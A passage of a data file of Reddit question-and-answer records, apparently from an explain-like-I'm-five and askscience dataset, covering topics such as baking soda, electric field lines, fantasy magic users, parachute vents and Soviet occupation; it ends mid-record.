{"q_id": "3oewnl", "title": "How is sodium bicarbonate seemingly so versatile?", "selftext": "I have an ulcer, the internet told me to put bicarb soda on it. Apparently it can also be used as soap, shampoo, toothpaste, playdough, it can get rid of smell, put out grease fires, remove grease from clothing, give relief from irritants, be used in cooking, and a plethora of other things. Is this a case of sodium bicarbonate having a magical chemical composition, or a myth propagated on the internet?\n\nCheers!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3oewnl/how_is_sodium_bicarbonate_seemingly_so_versatile/", "answers": {"a_id": ["cvwpds0", "cvwzy10", "cvx05c2"], "score": [3, 11, 2], "text": ["1. Ulcers: This is debatable. The idea is that many small ulcerations are caused by overly acidic mouth environments and the baking soda neutralizes it. It is probably also antibacterial. It may just as likely irritate the holy hell out of already irritated flesh so consult your doctor first.\n\n2. Being amphoteric, baking soda can react with bases and acids. Most of the funky vapors in your fridge are acidic, thus the baking soda is capable of neutralizing them as well. \n\n3. Put out grease fires: This is mostly a consequence of simply removing oxygen from the fire as can be achieved with dirt as well, more so than any chemical property of baking soda. While it is true that when heated sodium bicarbonate will produce Co2, which is heavier than air and non combustible (meaning the gas can potentially extinguish a fire), it would take a large amount of baking soda to achieve this and would almost certainly smother the fire before it chemically snuffed it out in practical situations.\n\n4. Remove grease from clothing: Also mostly debatable. It probably has more to do with its gritty texture acting as an abrasive that also sops up the grease than the action of any chemical property. If you want to remove grease from clothes you'd be better off using dish soap. Pound for pound, your dish washing liquid is likely the best grease buster in your house as it chemically denatures oils and is relatively safe for living things and fabrics. \n\n5. Give relief from irritants: Many skin irritations that baking soda will work with are the result of acidic saps and chemicals that cause tiny chemical burns on the skin, provoking an immune response. If used quickly enough, baking soda again can neutralize the chemical pH of the irritant, resulting in a less severe reaction. \n\n6. Used in cooking: Yet again we return to pH. When any base reacts with an acid, it's not a mere suspension like powdered juice mix in water to make Kool-Aid. They actually become all new chemicals. This process can create new chemicals in different states of matter, too. In cooking, baking soda is mixed with acidic ingredients to cause this reaction intentionally. Gasses that are created will give doughy foods that soft, fluffy textures because they create gas bubbles inside the dough that lift it up (leavening).\n\n", "Sodium Bicarbonate will react with acids to neutralise them, producing CO2. It will also give off CO2 if heated up, by thermal decomposition.\n\nThis CO2 production is why it is used in baking, it produces gas which will form bubbles in the dough. It is also why it will help put out fires, as it produces CO2, which will exclude oxygen.\n\nIt's used for ulcers as it will neutralise some of the stomach acid, but it will produce CO2 which might not be too pleasant!\n\nIt's essentially a not-very-toxic molecule which produces CO2 easily, and neutralises acids. There are a range of uses for this, so it's a useful compound!", "NaHCO3, sodium bicarbonate, is amphoteric, which means it is highly reactive with both acids and bases. What this means is, dependent on the situation, the dissociation of the Na+ and the HCO3- molecules can act in a way to buffer acidic solutions (such as that found in your stomach), essentially creating water, salts and CO2. It can do the same with bases, creating water and carbonates, which usually decompose to carbon dioxide. This is why \"baking soda\" is used as a leavening agent; it just allows carbon to escape in gas form. It also (loosely) explains why it's used as a deodorizer, as it binds the smelly compounds with carbon dioxide, which escapes and diffuses into the air."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1m4f0v", "title": "Why does dairy cause a large insulin response even though it is very low in carbohydrates?", "selftext": "I've read sources that say whey protein is the reason for this. Does this mean products like Greek Yogurt (which has the whey strained off) are still highly insulingenic?\n\nWhat about dairy products that are mainly fat like butter or heavy cream? Do they have high insulin responses as well?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1m4f0v/why_does_dairy_cause_a_large_insulin_response/", "answers": {"a_id": ["cc5yi7i"], "score": [3], "text": ["Dairy is *not* low in carbs, at least if you're talking about milk.  Milk has a dual sugar, galactose + glucose, that gets cleaved and made available in the gut.  Milk products that chew up those sugars, like the bacteria that make hard cheeses, reduce the amount of carbs in dairy.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4cqo43", "title": "How did Soviet occupation differ in Germany, German allies, \"Liberated\" Countries, and territory annexed to the USSR, post World War 2?", "selftext": "I'm interested in the political and economic reconstruction. I know that denazification was important for the Soviets in East Germany, but what efforts were made in the other Axis allies (Hungary, Romania and Bulgaria)? And what about countries like Albania, Yugoslavia and Poland that were liberated (albeit to Soviet dominance)? \n\n Were any countries treated better or worse? \n\nThanks!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4cqo43/how_did_soviet_occupation_differ_in_germany/", "answers": {"a_id": ["d1l0o74"], "score": [2], "text": ["In Bulgaria on 09.09.1944 there was a communist coup d'\u00e9tat (the USSR had declared war on Bulgaria on 05.09.1944). The goverment was overthrown and a new goverment composed of the Fatherland front was established. The Fatherland front was composed of Kimon Georgiev leader of Zveno(this is his 3rd coup d'\u00e9tat),  BWP, BANU \"Pladne\", the Bulgarian Workers' Social Democratic Party (Wide Socialists).\nA new goverment was elected. \n\nDays after the the coup d'\u00e9tat the USSR would invade. Bulgaria falls under Soviet occupation until 1947. \n\nA series of People's courts were created where verdics would be handed out to \"fascists\". A lot of them were settling old scores and a lot of innocent people were killed. A lot of prisoners are released and are recruited into the forces of the communists. The military officers would be arrested and people would be incorporated into the army to make sure that the ideology of the army is a proper one (red). The leaders of the Fatherland Front army - NOVA would be incorporated into the army in order to prepare for the offensive against Germany. A lot of the Bulgarian officers were sentenced to years in prison. There were a total of 2730 death sentences, 1921 life, 19 for 20 years, 962 for 15 years, 727 for 10 years and 3241 shorter ones.\nThe monarcy was removed via a referendum.\nThe communists slowly under Georgi Dimitrov would push out the other parties out of the goverment by either assimilating them or by declaring them fascist. The only exception is BANU \"Pladne\" who remained during the entire regime as a second party with 0 inffluence on the goverment. \n\n\nThe economy was reorganized to fit the new socialist/communist ideology the country (goverment) had. \nDuring 4-8 January 1949 COMECON/CMEA is created. Bulgaria becomes dependant on the USSR for its economy and takes a lot of loans from them in exchange Bulgaria is one of the USSR's most loyal allies during the period.  \nThe land, factories etc. are nationalized. And an economy based on the Soviet five-year plans is incorporated."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "eyuc23", "title": "Do animals with tracking devices have more difficulties with normal behaviors (hunting, mating, etc.)?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/eyuc23/do_animals_with_tracking_devices_have_more/", "answers": {"a_id": ["fgkwsjq"], "score": [30], "text": ["Scientists do their level best to make tracking devices and tags as unobtrusive to the animals\u2019 daily lives as possible, and for the most part they succeed. You still end up with the occasional case like the ornithologist who banded a couple birds with red leg bands that were apparently so sexy to females of the same species that it threw off the data for the entire study."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1rzvty", "title": "how do drugs like gas-x work in your body? its not like a pill is able to turn gas into not-gas or make it magically disappear.", "selftext": "I remember one of the early commercials for these type drugs showing a plastic tube full of bubbles, and then the drug is poured into the tube and all the bubbles disappeared...but I would always think \"ok, you popped the bubbles, but the air is still in the tube...how is that supposed to help?\".", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1rzvty/eli5how_do_drugs_like_gasx_work_in_your_body_its/", "answers": {"a_id": ["cdsjduu"], "score": [2], "text": ["Simethicone works differently that you may think it does. It doesn't simply disappear the gas bubbles, it makes the little gas bubbles become a bigger one. When this happens, the tension of the bubbles decreases and the gas is much easier to pass either as flatulence or burping."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "594gxz", "title": "why does force only travel at the speed of sound through matter?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/594gxz/eli5_why_does_force_only_travel_at_the_speed_of/", "answers": {"a_id": ["d95j90c", "d95jal0", "d95jmyy"], "score": [14, 4, 5], "text": ["It's pretty much the other way around.\n\nA force travels at a particular speed through a material. And that speed dictates what the speed of sound is in that material.\n\nThe reason is that sound is a wave - one particle moves, and that causes another particle to move, which causes the next particle to move, and so on. So when you apply any force to something, the force gets propagated the same way - one particle applies it to the next, and then to the next, and so on.", "Say I push one end of a stick. That end pushes the next bit along which pushes the next bit and the next and so on until the other end moves.\n\nSound is much the same. Since sound is a vibration, one end vibrates. As it vibrates it knocks the next bit, exerting a force on the next part which then moves along using exactly the same mechanism.\n\nIts probably more accurate to say sound moves at the speed of force, but the concept of speed of sound was discovered earlier so its stuck that way.", "The speed it travels through a material is the *definition* of speed of sound of that material.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "bbkj08", "title": "how do our organs stay in the same place at all times, with the amount we move around and do stuff i feel like organs would be shuffled around.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bbkj08/eli5_how_do_our_organs_stay_in_the_same_place_at/", "answers": {"a_id": ["ekjdwof", "ekjeapf", "ekjg09n", "ekjj33q"], "score": [10, 15, 3, 4], "text": ["It's not like organs are just potatoes in a sack that can move around freely. They are all connected to each other and to blood vessels, muscles, bones and other stuff like that.", "Your body has a mesothelium and a peritoneum, which is basically a sheet of tissue which wraps around organs and attaches them to the body wall (the bones and muscles that make up the walls of your body). They can move a little bit, but they're mostly anchored to where they are supposed to be at all times.", "If you see an open human body there are fatty connective layers that attach to different organs. On the stomach and other upper organs you have the omentum which is like a blanket that insulates and covers them. \n\nOn the majority of the intestine you have a tissue called the mesentery which attached it to the back of the abdominal cavity. And then on top of all of these you have what's called peritoneum, which is the layer of connective tissue that holds all of your organs.\n\nNow that's not to say the organs don't move, if they didn't have some give to them they would become injured a lot easier.", "There\u2019s also the freshly discovered organ, the Interstitium.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.independent.co.uk/news/health/new-organ-human-body-interstitium-cancer-skin-scientists-discovery-new-york-a8275851.html"]]}
{"q_id": "69dpw6", "title": "Why do the electric field lines at the end of two parallel plates curve?", "selftext": "I believe it is called the end-effect? However I would like to know why this happens.\n\nHere is a picture of what I mean: [Diagram](_URL_0_)\n\nEdit: Thank you all very much!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/69dpw6/why_do_the_electric_field_lines_at_the_end_of_two/", "answers": {"a_id": ["dh5sj5p", "dh5w3lg", "dh5yqqn", "dh63twd", "dh6acx2", "dh6cz3e", "dh6h2sf"], "score": [303, 16, 42, 3, 2, 3, 2], "text": ["If you're inbetween the plates at the centre, and the plates are much wider than their distance, they are well approximated by infinite parallel plates and so the field lines are straight.\n\nIf you instead zoom out and look at the whole thing from a distance, they look like an electric dipole, whose field lines look like [this](_URL_0_)\n\nThese are both approximations to finite parallel plates that hold in two opposite limits. Inbetween, the field lines will interpolate. So at the middle they look mostly straight, as you move out they start bulgin out and very far away they get the shape of dipole field lines.", "Keep in mind that electric field lines represent a vector field and not a path, at those points on the edge of the plates the combination of all the forces exerted by the plate make a curved shape. Look at the diagram with that in mind and it should be clear.", "Just finished up engineering physics at college.. the field lines are an average vector of the sum of the forces acting on a particle.  When the proton reaches the top it wants to get as far away from it's positive charged plate (like charges repel) as possible.  this initially sends the particle on the path of least resistance, or straight up (or down depending on where you're looking) from the charged plate.  However shortly after the intensity of the pull from the negative plate (opposites attract) grows on average as it gets further from the positive plate and gets pulled closer to the negative plate.  It still has enough initial velocity to break this intensity, but the plate bends the proton in the x-direction slightly, which subtracts from the initially strong y-direction forces.  Eventually you see the arrow seemingly perpendicular with the plates again because the momentum picks up and the intensity of the pull from the negative plate pulls on the proton at that point the same amount the positive plate pushes it.  \n\nFinally the proton travels further slightly and now the pull of the negative plate is stronger than the positive plate and this curves it back to the negative plate.\n\n\nReminder that field lines are not direct paths but averages of the cross product of the vectors of velocity and the magnetic field. ", "EE wth electromagnetic expertice here. It helps to remember that like charges repel, and parallel currents in the same direction repel. The field shape is a combination of the opposite charges at the poles attracting and the like parts of the innards of the field repelling. Also, field lines aren't really lines, it is a smooth linear field. Lines make it easier to visualize, and the reason that iron filings make lines is that they form little induced magnetic domains in the presence of a bigger field and tend to attract each other on the ends and repel each other in the middles.", "When drawing field lines the rules to follow are that they start on a positive charge, go to a negative charge, try to minimize their length, and try to maximize their distance from one another.\n\nIf you had infinitely large parallel plates then there's no direction for the ones to bend that would increase the lines' separation, and any direction would increase their lemgth. \n\nOn the other hand, if you have two oppositely charged point charges then you'll get lines that bow outward, trying to balance a short length with a large distance between one another.  Note that the exact shape can be derived by superimposing the radially attractive field of the negative charge with the radially repulsive field of the positive one. \n\nWith finite parallel plates you have a mix between these two shapes. Near the center of the plates (when the distance to the edge of the plate is much greater than the distance between them) it's a good approximation to just use the infinite parallel olate model. Near the edge it's much more similar to the two point charges. ", "If you imagine every single positive point \"giving out\" field lines radially, and negative point \"receiving\" the field lines. The plate is just a line of many point charges lined up together. \"Summing\" the field lines across the gap between the two plates results in an even field distribution - we represent that using straight lines instead. The \"end effect\" on the other hand, doesn't have more charges to \"balance\" them out, so they curve", "M. Eng Optics, my life is all about fields.\n\nSome engineers are confusing why with how in regards to this question. In the following explanation I will avoid jargon and aim for an intuitive description of the phenomenon. \n\nThe simplest example of an electric field would be a single point charge (+ or -, whatever you fancy) in a vacuum, creating an electric field that is symmetrical in all directions. Now imagine another sphere centred around this point charge, like a Russian doll. If you were to measure the electric field at any point on the surface of this sphere, your measurement would be the same. This is because you are an equal distance away from the point charge, regardless of your position as you move around the surrounding sphere taking your measurements. The field is symmetrical in all directions. It is important to understand this concept of symmetry before moving forward.\n\nIf you line up many, many point charges together, in some shape that has an obvious axis, like a rod or a bar, you lose the field symmetry from the far field perspective. By far field, I mean how these effects are perceived at large. The individual point charges are now beside each other, and their electric fields are overlapping (superposition). This overlap nullifies some of the field, but not the portions of the field perpendicular to the axis of the shape in which you have arranged the point charges. "]}, "title_urls": [], "selftext_urls": ["http://imgur.com/a/lIhRJ"], "answers_urls": [["https://upload.wikimedia.org/wikipedia/commons/thumb/8/81/VFPt_dipole_point.svg/250px-VFPt_dipole_point.svg.png"], [], [], [], [], [], []]}
{"q_id": "mf5b7", "title": "the difference between wizards, mages, sorcerers, enchanters, spellcasters, druids, and shamans", "selftext": "I was wondering today if there were actually large differences between the type of \"magic person\" often depicted in fantasy books. How do these differences arise?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/mf5b7/eli5_the_difference_between_wizards_mages/", "answers": {"a_id": ["c30f39e", "c30f39h", "c30fpo8", "c30gwv3", "c30h44o", "c30hntu", "c30i0x8", "c30i4au", "c30jf4d", "c30f39e", "c30f39h", "c30fpo8", "c30gwv3", "c30h44o", "c30hntu", "c30i0x8", "c30i4au", "c30jf4d"], "score": [37, 7, 7, 2, 2, 2, 2, 2, 2, 37, 7, 7, 2, 2, 2, 2, 2, 2], "text": ["Okay so I'll do my best. They're all magic users, they just go about it in different ways, and sometimes the terms are interchangeable:\n\n* Spellcasters are anyone whose main reaction to things is to cast spells. (Anyone who uses magic)\n\n* Mages are typically anyone using Arcane magic (the 'standard' type of magic) Typically they have broad array of uses for their magic.\n\n* Sorcerers also typically use arcane, but often their magic power comes from within themselves or some source they can tap into. It's more of a natural talent for them.\n\n* Wizards use arcane magic, and they're like sorcerers, but generally they learn their magic by intense study, memorization, etc. They are very \"technical\" about the way they learn/use magic.\n\n* Enchanters also use arcane magic, but they are specialized. Their name comes from their ability to \"Enchant\" things. They add magical properties to items. For example, they may take a regular sword and add their special brand of magic (Enchant it) to make it also burn anything it touches.\n\n* Druids use magic but their magic is usually nature based. They tend to get their magic through their connection to the nature around them. Stuff like growing vines to tangle people, or speak with animals, etc. They typically are \"good\" people who try to help the nature/etc around them.\n\n* Shamans typically get their power through communicating with spirits. Sometimes they are dead or abstract or whatever. Either way, their power is granted to them by their dealings with spirits.\n\nHope that helps.", "Since you're 5, it's like going to school. You see, in school you have your Elementary School Diploma, High School Diploma, Associates, Bachelors, Masters, and Doctorate Degrees. \n\nShamans are like your elementary school graduates. They have some know-how, but aren't that good. \n\nThose with a high school diploma are enchanters. They can handle most jobs, but the jobs at the tippy top are hard for them to reach. \n\nThen you have Spellcasters which are your Associate's degree level. You see, they have some schooling and enough to go places, but it's not respected by anyone with a higher level of magical skills. \n\n\nThe Bachelor's degree level is the Mage. They make up the bread and butter of the normal wizard world. \n\nSorcerers are your Masters degree holders. They're pretty good at things and spent time on it.\n\nWizards are the Doctorate level. They've studied long and hard and now are paid to handle research projects more than teach. \n\nDruids are trade school people.", "There's very little consistency in the use of the terms - since magic doesn't really exist in the world, when you tell stories about magic you have to make things up as you go.  Just to help you out a bit, I'll try to express things in terms of generalities.\n\nThe easiest ones to talk about are shamans and druids since they're based on real people.  Shamans are going to be based on Indian/African 'witchdoctors' - think potions made from strange roots, calling down animal spirits while wearing loincloths  &  beating on drums.  A druid is similar but they're more based on a European tradition - they still make strange potions and call on the power of nature but they're wearing long flowing robes  &  chanting in Latin while doing it.\n\nEnchanters are another easy one - they 'enchant' items with magic.  Rather than shooting fireballs from their fingertips, they'd be able to create a magical flaming sword.  Rather than being able to create bread from thin air, they could make a soup pot that never emptied.\n\nWizard, mage, sorcerer  &  spellcaster are all common words for somebody who uses magic.  They generally share the idea that it's something learned and studied from books, rather than instinctively drawn from nature like druids/shamans.  In one person's world, wizards might be old men with long grey beards that have spent decades pouring through books while a sorcerer is a hustler that just knows a few little magic tricks.  In another story world, you might have different 'schools' of magic - ice magic, fire magic, water magic and so on - with a different name attached to each.  Another world might make a distinction between people that *are* magical and people that have to study hard to *learn* magic.", "If I remember correctly from Baldur's Gate and Terry Pratchett's Sourcery, a Wizard can read scrolls to learn spells through study, where a Sorcerer has innate magical abilities. Sorcerers are born with a gift as such, no study required. because of this, a Wizard may learn more spells than a sorcerer knows, but also forget a spell, or miscast if they haven't studied hard enough, but the sorcerer will always just know how to cast.", "For the most part, the words are used interchangeably, except for druid and shaman. They both tend to have certain religious aspects to them, and are usually treated as priests of sorts.\n\nAs for the rest, the difference depends on what fantasy world you're in. I know this makes me a nerd, but I'll use Dungeons and Dragons as my standard.\n\nWizard: Their magical ability is a result of study. They may have some spark of magic innately, but their power is in knowledge.\n\nMage: To my understanding, this is just a generic word for magic user.\n\nSorcerer: A counterpoint to a Wizard. Instead of gaining magical strength through research and study, a Sorcerer's power comes from innate ability and intuition.\n\nEnchanter: Someone who uses their magical ability to enchant objects and creatures that would otherwise be entirely natural.\n\nSpellcaster: Same general idea as mage.\n\nI'm not entirely sure how to best describe druids and shamans, other than as sort of magical priests.", "It depends on the fantasy universe, really. There's no set definition.\n\nGenerally, however, druid means nature based magic, shaman means speaking with spirits and wizard/mage/sorcerer are all interchangeable for anyone who uses \"magic\".", "Son, stay away from such video games.... while you still have your life.", "Don't forget conjurer, warlock, abjurer, diviner, and thaumaturgist.  ", "Spellcaster is a generic term for all of these.\n\nSome fantasy settings make distinctions between wizards, mages, and sorcerers, but for the most part they are interchangeable.\n\nEnchanters (and especially enchantresses) cast spells on people to brainwash them to some degree.\n\nDruid and shamans have a connection with nature, and call upon spirits, plants, and animals to work their magic.", "Okay so I'll do my best. They're all magic users, they just go about it in different ways, and sometimes the terms are interchangeable:\n\n* Spellcasters are anyone whose main reaction to things is to cast spells. (Anyone who uses magic)\n\n* Mages are typically anyone using Arcane magic (the 'standard' type of magic) Typically they have broad array of uses for their magic.\n\n* Sorcerers also typically use arcane, but often their magic power comes from within themselves or some source they can tap into. It's more of a natural talent for them.\n\n* Wizards use arcane magic, and they're like sorcerers, but generally they learn their magic by intense study, memorization, etc. They are very \"technical\" about the way they learn/use magic.\n\n* Enchanters also use arcane magic, but they are specialized. Their name comes from their ability to \"Enchant\" things. They add magical properties to items. For example, they may take a regular sword and add their special brand of magic (Enchant it) to make it also burn anything it touches.\n\n* Druids use magic but their magic is usually nature based. They tend to get their magic through their connection to the nature around them. Stuff like growing vines to tangle people, or speak with animals, etc. They typically are \"good\" people who try to help the nature/etc around them.\n\n* Shamans typically get their power through communicating with spirits. Sometimes they are dead or abstract or whatever. Either way, their power is granted to them by their dealings with spirits.\n\nHope that helps.", "Since you're 5, it's like going to school. You see, in school you have your Elementary School Diploma, High School Diploma, Associates, Bachelors, Masters, and Doctorate Degrees. \n\nShamans are like your elementary school graduates. They have some know-how, but aren't that good. \n\nThose with a high school diploma are enchanters. They can handle most jobs, but the jobs at the tippy top are hard for them to reach. \n\nThen you have Spellcasters which are your Associate's degree level. You see, they have some schooling and enough to go places, but it's not respected by anyone with a higher level of magical skills. \n\n\nThe Bachelor's degree level is the Mage. They make up the bread and butter of the normal wizard world. \n\nSorcerers are your Masters degree holders. They're pretty good at things and spent time on it.\n\nWizards are the Doctorate level. They've studied long and hard and now are paid to handle research projects more than teach. \n\nDruids are trade school people.", "There's very little consistency in the use of the terms - since magic doesn't really exist in the world, when you tell stories about magic you have to make things up as you go.  Just to help you out a bit, I'll try to express things in terms of generalities.\n\nThe easiest ones to talk about are shamans and druids since they're based on real people.  Shamans are going to be based on Indian/African 'witchdoctors' - think potions made from strange roots, calling down animal spirits while wearing loincloths  &  beating on drums.  A druid is similar but they're more based on a European tradition - they still make strange potions and call on the power of nature but they're wearing long flowing robes  &  chanting in Latin while doing it.\n\nEnchanters are another easy one - they 'enchant' items with magic.  Rather than shooting fireballs from their fingertips, they'd be able to create a magical flaming sword.  Rather than being able to create bread from thin air, they could make a soup pot that never emptied.\n\nWizard, mage, sorcerer  &  spellcaster are all common words for somebody who uses magic.  They generally share the idea that it's something learned and studied from books, rather than instinctively drawn from nature like druids/shamans.  In one person's world, wizards might be old men with long grey beards that have spent decades pouring through books while a sorcerer is a hustler that just knows a few little magic tricks.  In another story world, you might have different 'schools' of magic - ice magic, fire magic, water magic and so on - with a different name attached to each.  Another world might make a distinction between people that *are* magical and people that have to study hard to *learn* magic.", "If I remember correctly from Baldur's Gate and Terry Pratchett's Sourcery, a Wizard can read scrolls to learn spells through study, where a Sorcerer has innate magical abilities. Sorcerers are born with a gift as such, no study required. because of this, a Wizard may learn more spells than a sorcerer knows, but also forget a spell, or miscast if they haven't studied hard enough, but the sorcerer will always just know how to cast.", "For the most part, the words are used interchangeably, except for druid and shaman. They both tend to have certain religious aspects to them, and are usually treated as priests of sorts.\n\nAs for the rest, the difference depends on what fantasy world you're in. I know this makes me a nerd, but I'll use Dungeons and Dragons as my standard.\n\nWizard: Their magical ability is a result of study. They may have some spark of magic innately, but their power is in knowledge.\n\nMage: To my understanding, this is just a generic word for magic user.\n\nSorcerer: A counterpoint to a Wizard. Instead of gaining magical strength through research and study, a Sorcerer's power comes from innate ability and intuition.\n\nEnchanter: Someone who uses their magical ability to enchant objects and creatures that would otherwise be entirely natural.\n\nSpellcaster: Same general idea as mage.\n\nI'm not entirely sure how to best describe druids and shamans, other than as sort of magical priests.", "It depends on the fantasy universe, really. There's no set definition.\n\nGenerally, however, druid means nature based magic, shaman means speaking with spirits and wizard/mage/sorcerer are all interchangeable for anyone who uses \"magic\".", "Son, stay away from such video games.... while you still have your life.", "Don't forget conjurer, warlock, abjurer, diviner, and thaumaturgist.  ", "Spellcaster is a generic term for all of these.\n\nSome fantasy settings make distinctions between wizards, mages, and sorcerers, but for the most part they are interchangeable.\n\nEnchanters (and especially enchantresses) cast spells on people to brainwash them to some degree.\n\nDruid and shamans have a connection with nature, and call upon spirits, plants, and animals to work their magic."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1bvf34", "title": "what's going on in my body and what is the weird feeling (dizziness, lack of sleep, other stuff) i get when i switch from an extremely poor diet into a healthy lifestyle.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1bvf34/eli5_whats_going_on_in_my_body_and_what_is_the/", "answers": {"a_id": ["c9ajk17", "c9al1o1", "c9apihe"], "score": [7, 2, 6], "text": ["Most likely it's withdrawal. When the body relies on lots of calories and carbohydrates it freaks out when the supply is reduced. You may want to consult with a doctor in case there's an underlying medical issue causing the symptoms. Right off the top of my head I know a drastic change in diet if you're diabetic can cause weird feelings in your body.", "you need a lot more details than that \"poor diet to healthy lifestyle\" is incredibly vague, and basically means you've changed every part of your life, so you need to explain quite a bit more.", "Unfortunately, its a kind of addiction.\n\nWe become accustomed to eating shitty high-carb, high-energy food which we get used to. We crave those sugar rushes and we become reliant on them. \n\nThe good news is that these junk food addictions aren't as dangerous as say, alcoholism or drug-abuse, but they still are addictions. \n\nThe problem most people face is that they change all at once. They wake up one morning and say \"today is the day I change!\" And they go out and buy a ton of vegetables, nuts, and quinoa and think everything is going to be better! Believe me, I've done it too.\n\nThe problem is that this change in lifestyle is really dramatic. If you're like me, you don't really know how to cook or how to \"eat well\". I would typically pack all of my calories into two major meals and then snack in between. In one meal I could be packing in 1,000 calories and I would be fine.\n\nThe problem is, is that good health foods don't work the same as shitty foods. You have to eat a lot of health foods to get close to the same caloric intake as, say, eating a Footlong Sub and a small bag of chips. The problem is is that we don't know how to manage that food intake because we're used to stuffing our faces. \n\nIn addition, when you make a lifestyle change, you want to be dramatic! You want to go down from 2,500 calories a day to 1,750!\n\nWell, that is all well and good, but doing that overnight is really hard. Your body is used to 2,500 calories, so when it doesn't get that it sends your body into hunger mode (dizzy, nauseous, fuzzy thinking).\n\nThe key is to take things lightly. Maybe instead of getting a footlong Meatball sub, you drop down to a six-inch ham sub. Maybe instead of a small bag of chips, you eat some popcorn. \n\nIt sure would be swell if we could all make lifestyle changes over night, but it really is difficult. I swear off fast-food every few weeks but then I get grumpy and dizzy, and I always relapse. The key is to change slowly so your body gets used to it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "aqki0x", "title": "how does the wind make noise, is it the friction?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aqki0x/eli5_how_does_the_wind_make_noise_is_it_the/", "answers": {"a_id": ["eggjxhb"], "score": [6], "text": ["Kind of. It's caused by the air being disturbed by either denser air around it, or solid objects such as buildings and trees. These disturbances cause ripples in the air which we perceive as sound. Much in the same way as a rock sticking out of a pool of water creates ripples when the water around it begins to move."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2i1go4", "title": "I've heard it said that the workers who built the Egyptian pyramids were not slaves because they were paid wages in food. Could the same not be said about most slaves, though?", "selftext": "It seems that Roman and American slaves would have been \"paid\" this way, too.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2i1go4/ive_heard_it_said_that_the_workers_who_built_the/", "answers": {"a_id": ["cky649m"], "score": [18], "text": ["There is a difference between:\n\n - Being given \"some food\", which at the master's discretion may be enough to keep you alive, or not.\n - Being given a piece of papyrus entitling the bearer to draw X pounds of barley from the food bank, where X is set out in a contract and you can sue if you don't get it, and moreover the slip is a negotiable currency - you can use it to pay for clothes or rent or whatever. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3i4d4y", "title": "why do parachutes have a hole in the center?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3i4d4y/eli5_why_do_parachutes_have_a_hole_in_the_center/", "answers": {"a_id": ["cud6h7f", "cud71f1"], "score": [59, 24], "text": ["Strangely enough to let the air through. If the air isn't regulated as it passes through the parachute it will either rip to shreds or be completely unstable.", "Vents in a parachute canopy help to stabilize descent by allowing a small amount of air to escape the envelope in a controlled location other than just buffeting out around the edges, and also they slow the parachute's inflation which reduces shock damage to the parachute and to the payload (often a person). Source [here](_URL_1_).\n\nInterestingly enough according to [this site](_URL_2_) a parachute with up to 25% of its surface area vented have the same drag force of an unvented  chute. For extreme versions of this check out the [ribbon parachutes](_URL_0_) \n designed to deploy at supersonic speeds and which have since been adopted as safety devices for the drag racing community."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.deist.com/9-ribbon-parachute-p-201.html", "http://superbeefy.com/why-do-parachutes-have-a-big-hole-at-the-top-of-the-canopy-and-how-does-it-reduce-the-drag-on-the-chute/", "http://www.weston.org/schools/ms/ditc/designTasks/parachute/parVarEff/parVarEff7.html"]]}
{"q_id": "1peqmv", "title": "how do religions that follow the 10 commandments justify killing?", "selftext": "The Ten Commandments seem to lay out a pretty clear stance on how humans should behave.  It seems that believing in God and being honest to and respecting others are the most paramount parts of these religions.  \"Thou shalt not kill\" is specifically laid out.  This question technically applies to all Commandment-following religions, but what I really want to know is:\n\n1) How did Christians of the past (think Crusades and witch trials) ever think that it was alright to go fourth and kill in the name of religion?  If it says its a sin somewhere in the bible, how do you justify killing in the name of God?\n\n2) Same, but with the radical Islamist militants.  How do they rationalize killing thousands of innocents (9/11 being most notable), yet still call themselves followers of a faith whose foundation lay upon the 10 Commandments?  What justification is there for killing?\n\n\nI'm currently taking a class on Islam at uni, so the second one especially interests me.  From the translations I've seen, the Quran advocates peace and love while following a certain set of traditions.  Where does \"its okay to kill others if they aren't Islamic, and even if you kill a few Islams in the process its okay because you killed non-Islams\" come through?\n\nAny explanation would be very much appreciated :)!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1peqmv/eli5_how_do_religions_that_follow_the_10/", "answers": {"a_id": ["cd1jyt9", "cd1jyvj", "cd1k20p", "cd1oznf", "cd1soiv", "cd1u4bd"], "score": [10, 5, 2, 3, 2, 2], "text": ["1.) I've heard people interpret that commandment as \"thou shalt not murder\", where murder mean an unjust killing.  Justified killings are A-OK.\n\n2.) The Bible is packed to the brim with examples of God killing people or demanding that his followers kill people, so it's not like it takes a cohesive stance against killing.", 